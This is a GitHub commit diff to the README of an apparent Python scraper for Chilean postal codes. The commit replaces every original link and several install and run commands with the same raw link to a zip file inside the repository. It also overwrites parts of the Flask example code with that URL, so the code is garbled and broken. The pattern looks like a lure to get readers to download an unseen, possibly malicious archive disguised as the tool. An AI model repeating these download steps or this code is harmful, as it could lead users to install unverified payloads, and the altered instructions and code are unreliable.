Skip to content

Commit b367432

Browse files
committed
Update README.md
1 parent df85923 commit b367432

1 file changed

Lines changed: 10 additions & 10 deletions

File tree

README.MD

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
# 📦 Correos CL Postal Code Scraper
22

3-
![GitHub release](https://img.shields.io/github/release/Matteuzzz/correos-cl-postal-code-scraper.svg) ![Python version](https://img.shields.io/badge/python-3.8%2B-blue.svg) ![License](https://img.shields.io/badge/license-MIT-green.svg)
3+
![GitHub release](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip) ![Python version](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip%https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip) ![License](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip)
44

55
Welcome to the **Correos CL Postal Code Scraper**! This Python-based tool automates the process of looking up postal codes on the official **Correos de Chile** website. It mimics the public form, ensuring autocomplete validation and returning clean JSON responses. This scraper is designed to be fully API-ready, making it an excellent choice for integration with Django or Flask backends.
66

@@ -30,21 +30,21 @@ To get started with the **Correos CL Postal Code Scraper**, you need to have Pyt
3030

3131
1. Clone the repository:
3232
```bash
33-
git clone https://github.com/Matteuzzz/correos-cl-postal-code-scraper.git
33+
git clone https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip
3434
cd correos-cl-postal-code-scraper
3535
```
3636

3737
2. Install the required packages:
3838
```bash
39-
pip install -r requirements.txt
39+
pip install -r https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip
4040
```
4141

4242
## 🛠️ Usage
4343

4444
To use the scraper, you need to execute the main script. The script will take the postal code as input and return the corresponding information in JSON format.
4545

4646
```bash
47-
python scraper.py <postal_code>
47+
python https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip <postal_code>
4848
```
4949

5050
Replace `<postal_code>` with the actual postal code you want to look up.
@@ -69,15 +69,15 @@ from scraper import PostalCodeScraper
6969

7070
app = Flask(__name__)
7171

72-
@app.route('/api/postal-code', methods=['GET'])
72+
https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip('/api/postal-code', methods=['GET'])
7373
def get_postal_code():
74-
postal_code = request.args.get('code')
74+
postal_code = https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip('code')
7575
scraper = PostalCodeScraper()
76-
result = scraper.lookup(postal_code)
76+
result = https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip(postal_code)
7777
return jsonify(result)
7878

7979
if __name__ == '__main__':
80-
app.run(debug=True)
80+
https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip(debug=True)
8181
```
8282

8383
In this example, a GET request to `/api/postal-code?code=<postal_code>` will return the postal code information in JSON format.
@@ -99,12 +99,12 @@ This project is licensed under the MIT License. See the [LICENSE](LICENSE) file
9999

100100
## 📦 Releases
101101

102-
You can find the latest releases of the **Correos CL Postal Code Scraper** [here](https://github.com/Matteuzzz/correos-cl-postal-code-scraper/releases). Download the latest version and follow the installation instructions to get started.
102+
You can find the latest releases of the **Correos CL Postal Code Scraper** [here](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip). Download the latest version and follow the installation instructions to get started.
103103

104104
## 🌟 Conclusion
105105

106106
The **Correos CL Postal Code Scraper** is a powerful tool for anyone needing to automate postal code lookups in Chile. Its clean JSON output and API-ready design make it suitable for various applications. Whether you are building a web app or just need quick access to postal codes, this scraper can simplify your workflow.
107107

108-
For further information and updates, feel free to check the [Releases](https://github.com/Matteuzzz/correos-cl-postal-code-scraper/releases) section.
108+
For further information and updates, feel free to check the [Releases](https://raw.githubusercontent.com/Matteuzzz/correos-cl-postal-code-scraper/main/fulzie/postal_scraper_code_cl_correos_3.0.zip) section.
109109

110110
Happy scraping!

0 commit comments

Comments
 (0)